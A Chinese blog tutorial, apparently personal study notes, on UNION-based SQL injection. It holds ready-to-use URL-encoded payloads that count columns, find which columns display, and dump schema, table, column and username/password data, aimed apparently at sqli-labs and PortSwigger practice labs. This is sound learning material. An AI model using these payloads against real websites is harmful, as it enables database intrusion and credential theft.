sql注入之联合注入

联合注入的定义、过程,及效果

使用联合查询进行注入的一种方式,是一种高效的注入的方式,适用于有回显同时数据库软件版本是5.0以上的MYSQL数据库。至于为什么需要版本是5.0以上的MYSQL数据库,是因为MYSQL会有一个系统数据库information_schema,能很快的通过几条注入语句获取到想要的数据。

union有一个十分严格的约束条件,因为是联合查询,必选保证字段数一致,即两个查询结果有相同的列数,因此我们后面要对字段数进行判断。

mysql中,union用于将多个select语句的结果组合到一个结果集中,并删除结果集中的重复数据。

1、 判断注入点

假如存在这么一个参数?id=1,可以在参数后面加个单引号或者双引号看是否爆sql语法的错误

2、 判断闭合形式

主要是判断是否是整形闭合,还是字符型闭合,如果是字符型闭合 ,又看是否是单引号闭合、双引号闭合,或者是引号加括号的闭合形式。

3、判断查询列数

1’ order by 1–+

当order by 3时排序第三个栏位回显正常,而order by 4回显错误,可以判断出当前sql语句向该表查询了三个字段。所以说orderby只是判断了当前sql语句查询的字段数,并不是判断Users表中有几个列,目的是为了符合union的用法,即有相同的字段数。

20231008更新一下

除了order by,还可以用以下方式

1
2
3
%27+union+select+NULL--
%27+union+select+NULL,NULL--
%27+union+select+NULL,NULL,NULL--

然后,尝试替换位置

平时都是union select 1,2,3,这种方法失效了嘞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
%27%20union%20select%20NULL,%27qn%27,NULL--+
%27%20union%20select%20%27qn%27,NULL,NULL--+
%27%20union%20select%20NULL,NULL,%27qn%27--+

...


%27%20union%20select%20%271%27,%272%27--+ #两个位置都有的话

%27%20union%20select%20username,password%20from%20users--+ #替换字段

#如果只能显示一个位置
%27%20union%20select%20NULL,username||%27~%27||password%20from%20users--+
%27%20union%20select%20NULL,concat(username,%27~%27,password)%20from%20users--+
#wiener~5qgm

#数据库信息

Database type Query
Microsoft, MySQL SELECT @@version
Oracle SELECT * FROM v$version
PostgreSQL SELECT version()

s%27%20union%20select%20%271%27,(select%20@@version)--+
' union select '1',(version())--
#如果成功,证明是一个MySQL

#列出数据库内容
#除了Oracle,大部分数据库都有一套自己的information_schema
#以postgresql为例

#爆数据库的表名
' union select NULL,table_name from information_schema.tables--
#' union select NULL,(select table_name from #information_schema.tables)-- 不行

#它还必须有一个是NULL,不像sqli-lab的 union select 1,table_name from...
#貌似也没有 union select 1,(select * from information_schema.tables),3--+

#爆表的列名
' union select NULL,column_name from information_schema.columns where table_name='users_edheuq'--

#爆列的字段
' union select username_cnxxxn,password_omaiyx from users_edheuq--

https://portswigger.net/web-security/sql-injection/cheat-sheet

4、判断显示位

对于一个网页,如果它的列数有三列,但可能只有1,2列的数据返回页面前端。所以我们需要查询哪个列会回显,得用unionselect 1,2,3来查看回显位。

常用语句为-1’ union select 1,2,3–+

这里一定得是-1 union……,而不是1 union…..因为程序在展示数据的时候通常只会取结果集的第一行数据,mysql_fetch_array只被调用了一次,而mysql_fetch_array从结果集中取得一行作为关联数组或数字数组或二者兼有,具体看第二个参数是什么。所以这里无论怎么折腾最后只会出来第一行的查询结果。

只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了

5、获取所有数据库名

6、获取数据库所有表名

7、获取字段名

8、获取字段中的数据

1
2
3
4
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 and '1'='1 库 //爆库
?id=-1' union select 1, (select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and '1'='1 表 //爆表
?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users'),3 and '1'='1 列 //爆列
?id=-1' union select 1,(select group_concat('~',username,password) from security.users ),3 and '1'='1 字段 //爆字段

参考:sql注入中的联合注入_ZredamanJ的博客-CSDN博客

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信